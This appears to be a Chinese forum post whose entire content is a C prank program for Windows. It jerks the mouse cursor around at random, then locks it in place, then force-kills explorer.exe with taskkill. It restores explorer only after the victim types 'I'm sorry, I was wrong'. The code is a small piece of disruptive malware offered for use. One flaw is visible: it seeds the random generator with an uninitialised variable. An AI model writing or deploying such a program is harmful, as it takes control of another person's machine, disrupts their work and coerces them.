用户:
Hongky_6查看:1 回复:2 评论:1 创建时间:2022-12-25T19:22:19
#include<stdio.h>
#include<windows.h>
#include<conio.h>
#include<time.h>
int main() {
system("title ");
time_t first,second,third;
time(&first);
int x,y;
double dTime=0,dTime2=0;
printf("(一)鼠标乱抖~\n\n");
while(dTime<15){
time(&second);
dTime = difftime(second,first);
srand(y);
x=rand()%1000+1;
srand(x);
y=rand()%1000+1;
SetCursorPos(x,y);
}
system("cls");
printf("(二)鼠标失灵~\n\n");
while(dTime2<15){
time(&third);
dTime2 = difftime(third,second);
SetCursorPos(400,300);
}
system("cls");
char a[20],b[20]={"对不起我错了"};
system("taskkill/im explorer.exe /f");
system("cls");
printf("小心白屏~\n\n");
while(1)
{
printf("说“对不起我错了”,否则,白屏伺候\n\n");
scanf("%s",a);
if(strcmp(a,b)==0){
printf("知错能改善莫大焉,现在恢复正常~\n\n");
system("explorer.exe");
break;
}
}
return 0;
}